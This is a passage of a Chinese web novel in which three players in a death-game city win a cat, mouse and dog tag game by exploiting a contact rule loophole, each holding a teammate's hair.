机械音:“接下来是5分钟讨论时间,玩家需要在5分钟内决定自己将扮演的动物,并在对应动物图案下方录入指纹……”
话音未落,金属台面的动物图案下方,小口亮起微光,投射出大拇指的全息影像。
“请注意,同阵营的3名玩家必须扮演3种不同的动物,无法重复录入同一种动物。”
“游戏开始前,禁止玩家跨过场地中线。游戏开始后,玩家将按照各自扮演的动物行动。”
“游戏开始时,未能成功录入指纹的玩家将淘汰;未站在己方‘老鼠洞’前的玩家将淘汰。”
“规则讲解完毕,5分钟后游戏正式开始。”
“祝各位玩家玩得愉快!”
机械音“哔”地一声静音消失。
随着几声高亢的喇叭回荡,场地上空浮现出巨大全息数字倒计时:
04:59
04:58
04:57
04:56
五分钟的“战前谋划”时间?
“商量一下!”米米连忙招手。
“嗯。”宋白河附耳:“你们有什么想法?”
两人于是都将目光投向沈墨棠。
沈墨棠倒是不慌不忙,视线好奇地穿过宋白河的胳膊,看着对面蓝队三人——他们已经窸窸窣窣讨论起来,声音压得很低,完全听不见说些什么。
这些玩家熟练得让人心疼……永夜城,真的是一座专门玩游戏的城市?
这个所谓的“现实世界”真的这么荒诞吗?
见沈墨棠心不在焉,米米只能分析:
规则已经全部放出,没有提及存在隐藏内容。
如果没猜错,红、蓝金属台面上的信息应该是一样的:[老鼠]、[猫]、[狗]三个动物图案形象简单生动,等待玩家的抉择。
该怎么选呢?
[老鼠]一旦被对方的[猫]抓到,就得回到己方的球门再次出发——也就是说[老鼠]很可能需要全场来回跑动——应该由队伍中体力好、速度快的人扮演。
[猫]只能呆在己方半场,负责守住球门,威慑对方[老鼠]不要靠近——像是守门员的作用,或许还兼具指挥重担。
[狗]一旦越过中线就无法返回,主要作用是驱赶对方的[猫],掩护己方[老鼠]进洞——因为“[狗]触碰[狗]”,“[狗]触碰[老鼠]”都无事发生,所以[狗]在游戏中等于无敌的存在,应该会更频繁地产生肢体接触。
规则并不复杂,主要还是这场游戏……真的要靠体力一决胜负?
米米抱起双手,左手手指轻敲右胳膊肘,略感不妙地端详对面:
蓝队三人身强体壮,体力估计都和宋白河差不多;反观自己这边,两名女生在体力对抗上丝毫不占优势。
“这是体力游戏……得跑,得抓人。”米米轻轻叹了口气,抬头露出那对小鹿般的圆眼:“我们得想想办法才行……那三个人肯定不弱……”
却见沈墨棠收回视线,和米米对视一眼后,看向宋白河。
米米也跟着看向他。
感受到两道强烈的视线,宋白河不由得直起身,话立刻赶到嘴边:“你们打算怎么做?”
65. 老鼠,猫和狗3
倒计时在场地上空跳动。
一秒,一秒,一秒,挤压着玩家“赛前讨论”的时间。
氛围开始有了变化,紧张弥漫在空气中。
再怎么说,双方也是在抢夺生命倒计时,赢家的奖励是20小时的宝贵生命。
整整一分钟过去。
“你来当老鼠吧。”米米终于还是沉不住气,快速指了下宋白河,“你跑得快,体力好,老鼠只能你来当。”
宋白河看了眼沉默不语的沈墨棠,想了想,点点头:“好。”
“沈……墨棠。”米米没有使用“青九万”的称呼,看向沈墨棠:“猫,你来还是我来?”
预想中的回应没有出现,沈墨棠只是盯着金属台子发呆,仿佛根本没听到其他人的声音。
见状,米米心中不由得着急起来。
之前的新人战中,她跟沈墨棠合作过,相信以沈墨棠的性格,不说话肯定有她自己的想法。
但“战前讨论”的时间真的不多了,如果再不做出决定……米米双手撑在金属台面上,视线越过宋白河的肩膀,焦急的视线投向蓝方三人。片刻,她抬头看空中的倒计时、左右张望、回头扫视己方“球门”、最后才将焦急的目光收回。
沈墨棠还是没回应。
米米急得剁了一下脚,眼神示意宋白河。
宋白河还没开口,沈墨棠的声音就幽幽响起:“宋白河,你打过架吗?”
她的眼神森然,视线已经转移到对面蓝方身上。
“我?”宋白河没想到会突然被这么问,稍稍一愣,见到沈墨棠目光所向时才反应过来。他也看向蓝方三人:沈墨棠的意思,是让他一个人过去跟对面的三个人打架吗?
1V3?
宋白河想了想,掂量着一下自己的分量:“我不确定,但非要打的话……我会拼命。”
“你的意思……”一旁的米米忽然恍然大悟:“等等。沈墨棠,你是说这游戏……要用暴力?”
沈墨棠笑了一下,眼神里流转着疯狂的光芒:“规则没有禁止暴力,甚至鼓励玩家之间的身体接触……你们想想,如果红蓝两只[狗]相遇,那不就是……”
“可以直接把对方打倒!”米米后仰起身,不自禁举起的双手掠过自己发麻的头皮。
沈墨棠看向对方阵营的李卞,那一头黄色辫子尤为显眼。
她轻轻地补充:“当场打死都可以……[狗]对[狗]、[老鼠]对[老鼠]、[狗]对[老鼠],都会出现肢体冲突。另外,[猫]被[狗]抓到会原地静止1分钟。1分钟,足够让一个成年人彻底断气。”
宋白河和米米的表情越来越差。
沈墨棠抱着双臂,语气仍旧冰冷:“游戏中,但凡有一个人被打废,队伍基本就输定了。”
03:22
03:21
03:20
03:19
倒计时兀自跳动。
短暂的沉默后,米米往宋白河身上一指:“那怎么办?难道真跟对面肉搏?还是真让他1打3呐?”
宋白河作为米米口中的“他”倒是没有任何惶恐——赛场上,未战先惧乃临阵大忌!
沈墨棠瞥了一眼这个体大男生,发现他一副“没被人打过”的样子,随即缩了缩肩膀,摇头道:“不,应该我们3打1……如果是这样,可能有机会。”
米米拍了拍金属台子,眼神困惑:“什么机会?”
“[猫]不能过半场。”沈墨棠抱着双臂,原地踱步。
场上的风有些凉,她开始后悔自己为什么要刚洗完澡就来参加游戏,身上的背心短裤清凉得要命。她搓了搓手臂:“不管怎么说,对面肯定有一只[猫]。只要我们三个人都不过中线,最多也就是面对[狗]和[老鼠],三打二。”
“三人都不过中线,”米米点点头:“也就是先防守的意思?”
“这场游戏里,防守方肯定占优势……”沈墨棠说到一半,朝旁边挪了一步,不解又防备地看向宋白河:“你干嘛?”
——宋白河正伸手递出他的外套。
因为沈墨棠的反应,他递出的手尴尬地停在半空中,“你……你是不是冷……”
“是。”
“那……这,你不介意的话……我身上干净的……进游戏前刚换的……”宋白河另一手挠挠后脖子,短袖外露出的两条胳膊结实好看。
“喵……咳,猫不能过半场……”明白宋白河的意思,沈墨棠不客气地接过外套,披在自己身上。
外套携带的体温让被风吹凉的肩膀暖和许多。
她的舌头像被烫到似的稍微打了个结,停顿了一下,才重新捋顺:“能发起进攻的只有[老鼠]和[狗]。我们防守的时候让[猫]去抓其中一个,另外两人控制另一个。”
“如果[猫]抓到的是对面的[老鼠]当然最好;如果[猫]遇上对面的[狗],就再让一个人过去帮忙……无论如何,只要[猫]接触一个人,就能确定对面三人的身份。”
“这么看来,[猫]是防守的核心。”撑着金属台面的米米脸色严肃,似乎已经能预见接下来的残酷搏斗。
沈墨棠穿上外套,双手插在外套兜里,身体已经足够暖和,不用再靠原地踱步来驱寒。
“抓到对面的[老鼠]后,他需要回到老鼠洞,才能再加入游戏……这样一来,对面就只剩下[狗]在我们半场。”
沈墨棠齐刘海下的目光扫过游戏场地,最后指着场地中线,继续道:“只要[狗]越过中线,就不能回到几方半场。”
米米的眼睛又亮了起来:“这时候就能三打一?”
“嗯。”沈墨棠点点头,依旧忧心忡忡:“先解决[狗],然后再逐个击破剩下两人——这是理论上我们以弱胜强的方法。但实际执行起来,肯定不会那么顺利……”
“我们要杀人吗?”宋白河突然插进话,眉头打成一个死结:“不是,我们……”
“你先别说话,”米米深吸一口气,帮忙解释:“我们说的‘解决’不是杀人!是让对方没有行动力,比如打晕或者绑起来!不一定要杀人。”
沈墨棠挑起眉梢。
她倒是没想到,眼前这个绑着公主头、笑起来有两个超大酒窝的甜妹,能如此安之若素地接受“杀人”、“打晕”、“绑起来”这类暴力行为。
“哦……哦……”宋白河点头,“明白了,明白了。”
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讨论时间剩下一分钟,场地上空的倒计时变了颜色,呈现出一种紧迫的描边红光形态,跳动的幅度也更大:
59。
58。
57。
56。
“那,我来当[老鼠]?”宋白河十指交扣,活动活动手腕和肩膀。
沈墨棠摇摇头,从外套兜里抽出右手,指向金属台面上“狗”的图案。
宋白河和米米都是一愣。
米米反应过来,瞟了眼蓝队,确认没被偷听,才压低声音说着:“宋白河,我们不能光防守,必须得防守反击,所以需要一个能进行身体对抗的前锋——[狗]得你来。”
“没错,你得是[狗]。”沈墨棠赞同,和米米一同看向宋白河。
宋白河浑身不自在:“你们没有在趁机骂我吧……”
沈墨棠面无表情,又转向米米:“刚开始,[猫]可能会被对方攻击。”
“我明白,我来当[猫],负责防守。”米米想起刚才沈墨棠说过的“1分钟的时间足够让人彻底断气”,虽然心怀恐惧,但更不愿屈服这个残酷的游戏。
最后,她略显犹豫地看着沈墨棠:“这样一来,我们要赢的话,就全靠你了。”
[老鼠]才是最后“进球”的人。
将求生的绳索交给他人,任谁都会感到不安。
沈墨棠清楚米米的担忧:“你现在只能信我。”
米米一愣,笑着点点头。
41。
40。
39。
38。
分配好各自角色,三人分别将大拇指伸入[老鼠]、[猫]、[狗]图案的下方,录入各自的指纹。操作完成后,全息影像消失,金属台面“咔咔”两声,迅速缩回地里。
或许是声音的关系,引来了对面阴阳怪气的呼喊:“哟,你们选完啦?”
喊话的是黄头发的李卞,他眼神戏谑,忽然咧嘴大笑:“哈哈哈!我看到了哦!你们选的猫鼠狗!嘿嘿!知道你们谁是谁喽!”
“神经病,别理他。”
米米不想回应对方拙劣的虚张声势,招呼着队友走向红方球门。
球门前方,存在一个由地面射灯组成的矩形区域,表明是玩家的初始站位——根据规则,5分钟倒计时结束时,没在这个区域就位的玩家将直接淘汰。
李卞看着红队三人在就位途中,还抓紧时间交头接耳,相互握手打气加油。
他不禁嘲笑:“呀?死到临头了,还想着手拉手走黄泉路喽?”
“李卞,走了。”高俊业叫了声。
时间马上截止,蓝方三人也选好动物,一路小跑到蓝方的球门前。
于是红、蓝两队拉开了距离,双方隔着整个操场。
场地的风吹熄了作战营帐的烛火,也吹起了开战的狼烟。
随着倒计时进入个位数,上空回荡起冰冷的机械音:
“5……”
“4……”
“3……”
“2……”
“1……”
“游戏开始!”
一声响彻寰宇的喇叭声,球门前的矩形光圈熄灭,双方玩家开始行动。
66. 老鼠,猫和狗4
沈墨棠、米米、宋白河三人缓缓走向中场。
预想中的场景没有出现。蓝队也是不急不缓走向中场,看样子没打算发起冲锋。相反,他们保持和红队三人一致的步伐,六名玩家以一种诡异的默契缓缓走向中线两侧。
米米小声叹息:“不会吧?”
对方,也打着“防守反击”的算盘吗?
中线就在眼前。
沈墨棠面不改色,心脏“扑通扑通”跳动的声音突然被放大,氧气运送到了更为需要的大脑:如果对面不进攻,那己方刚才的布局就得作废。
但是……果然游戏才令人兴奋!才让人活得尽兴!
正当沈墨棠脑中胡乱联想永夜城到底应该是什么鬼地方的时候,对面玩家率先开了口:
“新来的!这游戏就20个小时。”
高俊业打开嗓子,清朗的声音在场地中响起:“我提议我们可以商量商量。”
商量?
沈墨棠抬眼。
六名玩家都已经走到场地中央,基于防备,彼此相距几步远。相比起来,蓝队三人更靠近中线,红队则稍远离远几步。
六人站定。
“你们想赢?”高俊业处在蓝队三人中间,面对着沈墨棠,尽力保持神色平和。
“这场游戏我们更有优势。”他说着摊开双手,像一条优雅的黑豹,眼神危险而狡黠:“说实话,你们两个女生加起来都打不过我们任何一个人,如果我们想,可以很快就搞定这场游戏。”
果然,对面也想到了“暴力对抗”。
沈墨棠双手在外套兜里,不动声色。能感觉到身旁的米米靠近往自己这里挪了半步。
高俊业停顿了一下,双眼收起光芒,扫过红队每个人的表情:“……但我们有得谈。”
谈什么?
沈墨棠左右瞥了眼宋白河跟米米的反应:是所谓的“下城区”有什么特殊规则吗?
“【蓬莱】的人参加游戏,用的是信用分吧?”高俊业的目光定定看着沈墨棠,伸手指了指自己脖子上的狗环。
沈墨棠不置可否。
自己作为“飞升玩家”,参与游戏的赌注,不是狗环时长,而是“信用分”。
这是永夜城居民人人皆知的事情:进入【蓬莱】的玩家,有可能面临“陨落”的风险。
首先“飞升”时,玩家将会被记录一万点“信用分”,并获得“牌面”。若是这一万点“信用分”全部扣光,便会发生“陨落”直接死亡。
当然,只要在【蓬莱】好好生活,什么事也不做,例如斯旺那样,是没有扣除“信用分”的危险。
但如果“飞升玩家”想要参加“四方战”,就需要先参加赢取“风牌”的特殊游戏,叫做“抢风牌”。
每次进行“抢风牌”都需要支付5000点信用分——不赚分的话,最多参加两次就会“陨落”。
想要获取更多的“信用分”,就需要参与城内游戏。
参与游戏时,“飞升者”的赌注不再是狗环时长,而是“信用分”。
信用分和狗环时长的比例为10:1。
沈墨棠参加这个价值4枚雀徽的【老鼠,猫和狗】游戏,需要压上200点信用分。
对于10000点而言,也就是2%。
“嗯。”沈墨棠想知道高俊业葫芦里卖的什么药。
高俊业收起笑容:“你也觉得200信用分没什么对吧?但是你两个队友都是新人,多拿20个小时肯定很重要吧?”
沈墨棠两侧,米米和宋白河缄口不语。
“卧槽,你们哑巴啊?连话都不会说?”林投的嗓音粗得像是磨砂纸:“我们现在跟你们谈条件,懂不?唉,你以为真能防的住我呐?再说了,你们听懂规则了吗?能理解不?新、人死亡率可不低的哦!”
林投将“新人”两个字咬的特别重。
米米就正对着林投,表情僵硬,提防着他突然冲过来。
高俊业挥挥手:“你们先别急,我的意思是,我们三个刚才商量了,这游戏可以让你们赢。”
???
让?
赢?
这种字眼是怎么出现在以生命为代价的游戏里的?
永夜城里究竟运行着怎样的规则?
“为什么?”米米忍不住开口:“你们,不想赢?”
林投发出一声讪笑。
高俊业移过视线,目光真诚:“我们当然也想赢,只是从紧迫性上来说,你们可能更需要这20个小时喘口气……当然,需要你们付出一点小小的代价。”
他说着,冲沈墨棠一指,令所有目光都汇聚到她身上。
披着大码男生外套,脚踩人字拖的沈墨棠,双手插兜站在原地,稍微没那么湿的齐刘海开始被风吹得起来。她眸子微抬:“我说,你们确定能赢吗?”
不知为何,那清冷的目光中,竟透出深深的危险!
高俊业一时语塞,瞬间换了副审视的神态:“青九万,我们只是想卖你个人情,将来若是和你在其他游戏遭遇……你确定,不给面子吗?”
沈墨棠面无表情:“说够了?”
高俊业眼睛眯成两条线:“既然这样,我敢保证,你们会输得很快!”
“等下,沈……”
米米刚要开口,却被另一侧宋白河昂扬的声音打断:“别废话了,你们好好来,谁输谁赢还不一定呢!”
脱下外套的体育生穿着短袖T恤,双手轻握,身体微微晃动,像是个即将站上赛场的竞技者。
米米将嘴边的话生生咽了回去。
真要比?
红队和蓝队的体力差距不是一点半点,虽然有沈墨棠的谋划在,但胜率还是无法保证。
对方只是要沈墨棠的人情而已……虽然慷他人之慨确实不道德,但……
米米转头看向沈墨棠,看她压根没有想和对方多聊的意思,心中不由得一阵失落。
只能接受现实,在游戏中分胜负了。
米米攥紧右拳,不知道是胆怯还是防备,一想到接下来可能发生些什么,就本能地向后退了一步。
沈墨棠眼角的余光从米米脸上移开。
她双手插兜,也往后退两步,嘴角勾起一抹笑:“玩家请注意,游戏开始。”
所有人脸色一怔。
高俊业脸颊抽搐,盯着面前沈墨棠那瘆人的笑容、逐渐后退的身影、还有那副自信的神情,总觉得……不可思议!
——这新人太狂妄自大了吧!
就算能直接飞升进入【蓬莱】,也只是个刚永夜城的新人,还不知道天高地厚吧!
“那我们就不客气了。”高俊业脸色一凛,站在原地捏了捏指关节,高高瘦瘦的身躯微微弓起,犹如匍匐的猎豹。
旁侧,与宋白河对位的李卞,也扎起自己的黄发辫子,一边晃动身躯,一边咧嘴叹息:“哎哟喂,我早就说了,速战速决吧。”
六个人的眼色都是一冷。
“哈哈!让我看看……你们谁是猫!?”
林投的粗嗓子大吼着,结实的身躯突然跨过中线,直冲米米而去!
不用猜也知道,他肯定是[狗]!
是条好斗的斗牛犬!
“呃~!”米米的尖叫被扼在喉中,迅雷般的速度她根本来不及闪躲。
“呲呲呲呲呲……!!”
她在被林投抓住胳膊的瞬间,浑身突然猛地一僵,狗环“吱吱”放出电流,动弹不得!
“卧槽,原来会放电。”林投放开米米的胳膊,握了握发麻的手掌,大喊一声:“她是猫!”
【当[狗]和[猫]触碰,[猫]将原地静止1分钟】
“静止1分钟”原来是靠狗环放电实现。
通知完队友,林投望着倒在杂草地上的米米,狞笑道:
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“抓到你咯!小猫咪!我猜得没错,果然是你呢!”
沈墨棠来不及关心米米,只是目光灼灼看向蓝队剩下两人——能抓[猫]的只有[狗],既然确定林投是[狗],那么[老鼠]就在高俊业和李卞之中。
正犹豫着,李卞也叫喊着冲过中线,“Lucky!我来了,宝贝们!”
他是蓝队的[老鼠]!
李卞之所以敢主动冲锋,全因为林投已经抓到红队的[猫],解决了规则里唯一对他有威胁的角色。
至于红队剩下的[狗]和[老鼠],都只能靠身体来阻止蓝队的[老鼠]。
拼身体,李卞有绝对的信心——他可是曾经参加过“WCT”的国区选手!
“WCT”全称WorldChaseTag,也被叫做“鬼捉人”世界杯。比赛会在一个布满障碍的场地内举行,一队派出“追逐者”另一队派出“躲避者”,在限定时间内看是追逐者抓到人,还是躲避者坚持不被碰到。
这项新兴的体育赛事对选手的身体协调性、体力、爆发力、运动智商要求特别高,也是许多“跑酷”爱好者的心中所往。
“宝贝们!来抓我呀!”李卞冲过中线,朝着宋白河的左手侧冲刺。
“宋白河……”沈墨棠说了句话。
宋白河一愣,点了下头,连忙俯身提速阻拦李卞。
李卞心中清楚,宋白河不是[猫],被他碰到也没关系——只要摆脱掉他,自己前方就是空荡荡的红队球门。
眼见宋白河朝这边扑来,李卞身体猛地一顿,极限变向,晃过宋白河!
随即一个流畅转身,转向宋白河右侧突破!
“呃!”
宋白河的身体已经被假动作骗到,扑了个空,重心根本没办法调整回来。他只能扑倒在地,手脚并用,以狼狈的姿态呈现出惊人的爆发力,犹如一条奋起捕猎的四足猛兽,伸出长长的胳膊,堪堪拍到李卞的小腿。
但来不及了……
李卞全身都越过他了,被轻拍一下并无法阻挡他继续猛冲……
“呲呲呲!”
“欸!”李卞脚下突然一歪,脖子上的狗环放出电流,令他身体瞬间失去平衡,原地栽倒!
相比米米而言,他承受的电流弱很多,浑身麻痹,尚能行动。
场地上空响起语音广播:
“请蓝方[老鼠]返回[老鼠洞]。”
【当[猫]和[老鼠]触碰,[老鼠]将暂时被踢出游戏,需要进入己方老鼠洞,才能回到游戏】
李卞作为蓝队的[老鼠],被红队的[猫]触碰了!?
“你怎么……?”李卞绷紧着肌肉,被弱电折磨得浑身酸楚。他看向身旁的宋白河,奇道:“不对!你才是猫?”
李卞怒目圆睁,咬牙朝场上大吼:“他才是猫!”
他才是猫?
高俊业作为蓝队的[猫],只能呆在己方半场。
他承担着“守门员”和“指挥”的任务,看着倒在宋白河身后的李卞,又看向另一边倒在林投脚下的米米,脑子瞬间短路:“等到……这……这……怎么回事?”
林投作为蓝队的[狗],抓到米米时能将其电倒,证明米米确实是红队的[猫]。
那么宋白河只能是红队的[老鼠]或者[狗],怎么可能对蓝队的[老鼠]李卞造成伤害?
【同阵营的3名玩家必须扮演3种不同的动物,无法重复录入同一种动物。】
不可能有两条[猫]存在啊!
“不可能,等等……这到底怎么回事?”高俊业冲空中大喊,语气止不住的慌乱:“裁判,是不是搞错了!”
沉默震惊的空气中,一抹平淡的低语幽幽响起:
“没搞错啊,我们有两只猫哦。”
沈墨棠巍然不动的齐刘海下透出一对清冽的目光,嘴角带着瘆人的笑容:“也可能是三只呢?”
67. 老鼠,猫和狗5
“不可能!你们……每个阵营只能有一只猫!”高俊业难以置信,瞪大双眼,浑身微微发颤,陷入彻底的混乱中!
不对,不对,不对……
游戏开始时,自己选的[猫]没错;林投是[狗];李卞是[老鼠],自己这边都没错。
错的是哪里?
等等……李卞被“抓”到时有语音播报,证明那体育生必定是红队的[猫],所以甜妹是装的?
高俊业看向林投脚边倒地不起的米米,眼中露出一抹坚定:对啊,如果她判断林投是[狗],就可以顺势伪装成[猫],避免跟林投发生肢体冲突的同时迷惑我们!
没想到这看似无脑的甜妹,竟然是个善于欺骗的人!?
可,她是怎么知道会被“电”的?
游戏规则里从来就没提到过“狗环会放电”这件事。
没道理啊,难不成她玩过这个游戏?
一个新人?可能吗?
高俊业思来想去的时候,场上只听到米米发出干哑的呼喊:“好……机会!!快……”
嗓子因僵硬的肌肉而紧闭的真实状态,如果是演的话,那必须是影后级别!
但如果不是演的,难不成红队真的有两只[猫]?
高俊业一时没了主意。
等下……这甜妹说什么“好机会”来着?
他回过神,只见到青九万和体育生视线交汇,随后便同时朝自己冲来!
“你们?”高俊业瞪大眼睛,瞳孔颤动,不由自主往后退:“猫不能过中线……”
体育生能抓[老鼠],证明他就是[猫]……但是……他正和青九万同时跨过中线!
不对啊!不对啊!不对啊!
【猫:性格安静。只能待在己方半场】
所以体育生不是“猫”?甜妹才是“猫”?
但李卞又是怎么回事!!!
还有,既然体育生和青九万都能过中线,那两人就必定是[老鼠]和[狗]。而高俊业身为蓝队的[猫],必须避开红队的[狗],同时拦住红队的[老鼠]。
他是“狗”?
还是她是“狗”?
倒地的甜妹才是“狗”?
高俊业心乱如麻,神志恍惚。为了驱赶心中的慌乱,他猛地大喝一声“呀”,脸上的笑意一扫而空。
他目露凶光,仿佛一条被惹毛了的豹子,那双危险的眸子里看到的,是一男一女两个飞快逼近的身影。
在身影即将覆盖视野的最后一刻,齐刘海女孩忽然停了一步,露出略带鄙夷的嘲笑。
她!?
“呲呲呲呲呲!”
高俊业的手臂被宋白河一把抓住,狗环放出的电猛地击穿全身!他双目一直,瞬间倒地!
——宋白河,是[狗]?
“你……”高俊业咬紧后槽牙,躺在杂草地上,眼睁睁看着沈墨棠的穿着人字拖的小腿不紧不慢经过自己,没留下半点解释。
为什么?
既然宋白河是[狗]?他为什么能抓李卞?
青九万……她还在往前走……她想进老鼠洞?
她是红队的[老鼠]!
高俊业被电得痛苦不堪,但还是拼劲全力扯开嗓子:“李卞!青九万!拦住青九万!她是老鼠!”
沙哑的嘶吼在空中回荡。
这时候的李卞,早已经默默跑回蓝方球门,解除了狗环放出的电。
场地语音提示:“蓝方[老鼠]重新加入游戏”。
eon!不管你们搞什么鬼……”李卞恢复行动力,揉着发麻的脖子,伸出双手拦在球门前,像是个决绝的足球守门员。
散落的黄毛遮盖住他的额头,从那发隙间投射出一对不甘心的目光。
在他面前,是闲庭信步的、穿着人字拖和沙滩裤的、戴着红毛巾、双手插外套兜里的、东城红人,青九万。
宋白河留在中场,看住倒地的高俊业。
“你是傻了吧?你们队怎么想的?让你当老鼠?”李卞咧嘴大笑,像是要张嘴吃小孩:“你也不看看全场,你打得过谁?咱两一对一,别说我欺负女的,你现在求饶还来得及!”
先不管其他人是什么身份。
总之眼前的青九万和自己一样,都是[老鼠]——两只[老鼠]互咬的话,就是纯拼体力的游戏了!
“来啊!”
李卞大步上前,对沈墨棠伸出手。
沈墨棠也从兜里抽出右手,轻轻拍了一下李卞的身体。
“呲呲呲呲呲!!!”
狗环再次放出电流,李卞脸颊一抽,差点咬到舌头,再次陷入浑身麻痹的痛苦中!
广播即刻响起:“请蓝方[老鼠]返回[老鼠洞]。”
“呃,为什么……”
李卞、高俊业、林投,蓝队三人分别处在球门前、中场、红队半场,三双目光同时投向沈墨棠,透露着同样的迷茫疑惑。
“刚才不是说了吗,有可能是三只[猫]呢!”沈墨棠面容冰冷,心血来潮举起一只手:“喵!”
像只高冷却撒娇的可怕黑猫!
“眼睁睁的看着你~却无能为力~”
她嘴里哼着走调的歌曲,轻而易举扒开仍想拖住自己的李卞,大摇大摆走进蓝队球门……
“任你消失在~世界的尽头~”
嘟——
游戏结束,哨声响起。
“游戏结束!红队获胜!”机械音有了高亢的语调,从悠悠高空尘埃落定:“本场游戏的胜者为红队三人,恭喜【米米】、【宋白河】、【青九万】三位玩家,每人获得4枚雀徽奖励!”
“失败的三名玩家,将各自扣除20小时的狗环剩余时长。”
“3分钟后,场地关闭,玩家将自动回到终端机前。”
“游戏愉快,期待下次再见!”
机械音停止,万籁俱寂。
高空的风和场上的泥土青草味仍旧飘曳,将积累起来的肃杀吹散,留下一地狼藉。
高俊业从地上缓缓爬起,脸上全是不甘与不愿相信:“为什么……告诉我……为什么……”
他脖子上的狗环“嘀嘀嘀”扣了20个小时。
李卞站在沈墨棠身前,眼神中也满是匪夷所思:“你们,到底是做了What啊?”
他确认自己输了,黯然束起头发,将凌乱的发丝收规整。
“我们输了!到底是为什么?青九万!”高俊业朝这边走来,脸上没有了最初的高傲和自信,连强挤出的笑容都透着沮丧,困惑不已:“为什么你们会有三只[猫]?死也要让我们死个明白吧!”
就像一开始说的,20小时对一些老玩家而言,算不上太大的事。
他们现在,只期待沈墨棠能大发慈悲告诉答案。
为什么红队会有三只[猫]?!
不远处的几人也都慢慢靠拢。
六人再次围到一起。
游戏结束,玩家受到永夜城的“法律”约束,禁止对他人施行暴力。
“青九万。”高俊业又叫一声,声音像是在恳求。他抓心挠肝,就是想不明白自己怎么输的:“让我们输得明白点!”
“要告诉他们吗?”沈墨棠看向米米。
这场游戏里,米米遭受的痛苦远大过沈墨棠和宋白河——米米作为红队的[猫],一开始就被蓝队的[狗]袭击,是红队当中唯一尝过电击滋味的人。
现在赢了游戏,是否透露这场游戏的“秘密武器”,也应该由米米来决定才是。
米米目光扫过蓝队三人,最终伸出双手,张开攥紧的拳头:
“是这个。”
蓝队三人连忙凑过脑袋来。
“游戏开始时说了:不包括衣物等穿着,当红蓝双方实际身体距离小于0.3cm,视为彼此触碰。”米米看了眼沈墨棠,继续解释:“我们所有人,都忽视了规则里的漏洞。”
“漏洞?”李卞盯着米米摊开着的双手,掌心向上空无一物。
他挠挠额头:“你这什么也没有啊?话说回来,你们到底谁是谁啊?怎么有三只[猫]啊?规则漏洞不至于大到这么离谱吧!”
米米脸上的酒窝渐深:“你觉得呢?”
“我……”李卞抬起头,来来回回在几人脸上打量,不太确定地指着沈墨棠:“你是进洞的,肯定是[老鼠]吧?”
沈墨棠瞥了眼米米,移开视线,看
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向远处的天空,没有回话。
“她是[老鼠]。”米米点了点头:“我是[猫],他是[狗]。”
“怎么感觉又在骂我?”宋白河摸了摸鼻子。
“不对!这样的话,[狗],他凭什么能抓老鼠?”高俊业大声打断。他看了眼沈墨棠,意识到自己有些失态,只能咬牙尽量住不甘心的语气:“我想不明白……你说双方身体距离?”
高俊业再次看向米米,紧皱眉头:“但是,你们不可能将其他人的身体带在自己身上吧?”
如果按照米米所说,红队利用了“规则漏洞”——唯一可能的方法就是将队友身体的一部分身体带在自己身上,这样[狗]和[老鼠]就都能当[猫],就有办法创造出三只猫。
但……
高俊业脑补出米米砍下自己两条胳膊,然后沈墨棠和宋白河各举着她一只断手的邪典画面。
他猛地摇摇头,驱散这种奇怪想法。
“三分钟快到了,给他们看清楚吧。”米米再次伸出手。
沈墨棠和宋白河对视一眼,也都将自己的双手伸出,摊开五指。三对手掌凑在一起,手心都朝着澄澈的天空。
直到清风吹过,仔细打量的蓝队三人才都瞳孔一颤——
在空荡荡的六只手掌上,各有一缕发丝缠在指间!
“你们!!!”
“我们都拿着队友的一根头发。”米米看向沈墨棠,“在游戏开始前,我们就这么做了。”
仔细观察的话,能发现米米右手指间的头发明显更长,是沈墨棠的;左手指间的头发是短的,属于宋白河。
头发,也是身体的一部分。
“游戏开始前……”李卞想到游戏开始前,红队三人在走向球门时,相互交头接耳,握手打气的样子。
高俊业恍然大悟:“所以你们……可以是三只[狗]、三只[猫]、三只[老鼠]!”
“没错。”
话是这么说,但“猫不能过半场”、“狗不能回半场”等规则还是必须遵守。
米米深深松了口气,看向沈墨棠的侧脸。
就算游戏已经结束了,现在想来还是有点后怕——如果不是沈墨棠发现并利用了这条游戏规则,这场实力悬殊的“阵营战”恐怕凶多吉少。
高俊业看出是沈墨棠主导的红队行动,他不禁又问:“但是,如果她是错的……你们怎么办?”
宋白河疑惑地看了眼高俊业,没有回答。
米米“啧”了一声:“能怎么办?在那个时候,也只能选择信她吧!”
“是这样,呵呵,真厉害……”高俊业释怀般垂下脑袋,双肩放松。
几人头顶,场地上空跳出60秒倒计时,提示【游戏场地即将关闭】。
“那么,再见了,新人们。”他深深点了点头。
李卞和林投出声也告别,说了些诸如“下次再见了”,“拜拜啦”,“有缘再见”,“青九万,你一定要参加四方战啊”,“东城靠你了”此类的话,也各自向米米和宋白河道了歉,随后跟高俊业三人勾肩搭背往场地另一边走去。
永夜城的游戏都是随机分配,能够匹配到同个队伍里,怎么说也是缘分,总要留给彼此好好告别的时间。
蓝队离开后,留下红队三人站在原地。
一阵风吹过,沈墨棠呼吸着泥土青草的芳香,恍惚间有种回到校园的错觉。
她将双手插回兜里。
“这个……”宋白河在沈墨棠和米米面前伸出手。
米米笑了一下,从他的手掌中将自己的长发拿走。
沈墨棠则撇撇嘴,一脸嫌弃地摆摆手,示意他扔掉。她搂紧红毛巾,更在意另一件事:“你们还没告诉我,离开新人战之后,具体发生了什么。”
宋白河握紧手掌,将手放回兜里,刚想开口,但被沈墨棠打断了。
“算了。”沈墨棠抬头看向上空的倒计时,“没时间了,等你们飞升再说吧。”
飞升?
宋白河站在沈墨棠身后,顺着她的目光看向空中的倒计时,脑海里不断翻涌着她在游戏中对自己说的话:
——宋白河,放心去做。
——错了算我的。
68. 蓬莱1
当你面对足够多的死亡,知晓死亡不过是生命的终点,是任何人都要抵达的彼岸,你就不再惧怕死亡。
甚至,当你每次睁开眼,都要面对生存的压力、苦难的生活,你会向往死亡,考虑拥抱终焉。
永夜城的居民,无时无刻不在生死之间拉扯徘徊,一双双眼睛见证了无数灵魂醒来、沉睡,无数生命活着、死去。
这里是苦难,是受罪的世界。
这里是旅途,是湍急的河流,是攀岩的山坡,是走向终点前的人生。
死亡,不可怕。
死亡,不过是每个人命定的终点。
沈墨棠坐在【蓬莱】天台边缘,双腿垂在空中,人字拖在脚趾间晃动,独自回想着进永夜城以来的日子。
所以你想说,奶奶的过世,是假的?
你想说,我的过去,都是假的?
是什么“电脑程序ai模拟”的东西?
那我算什么,我的一切,我的经历,记忆,血肉,算什么?
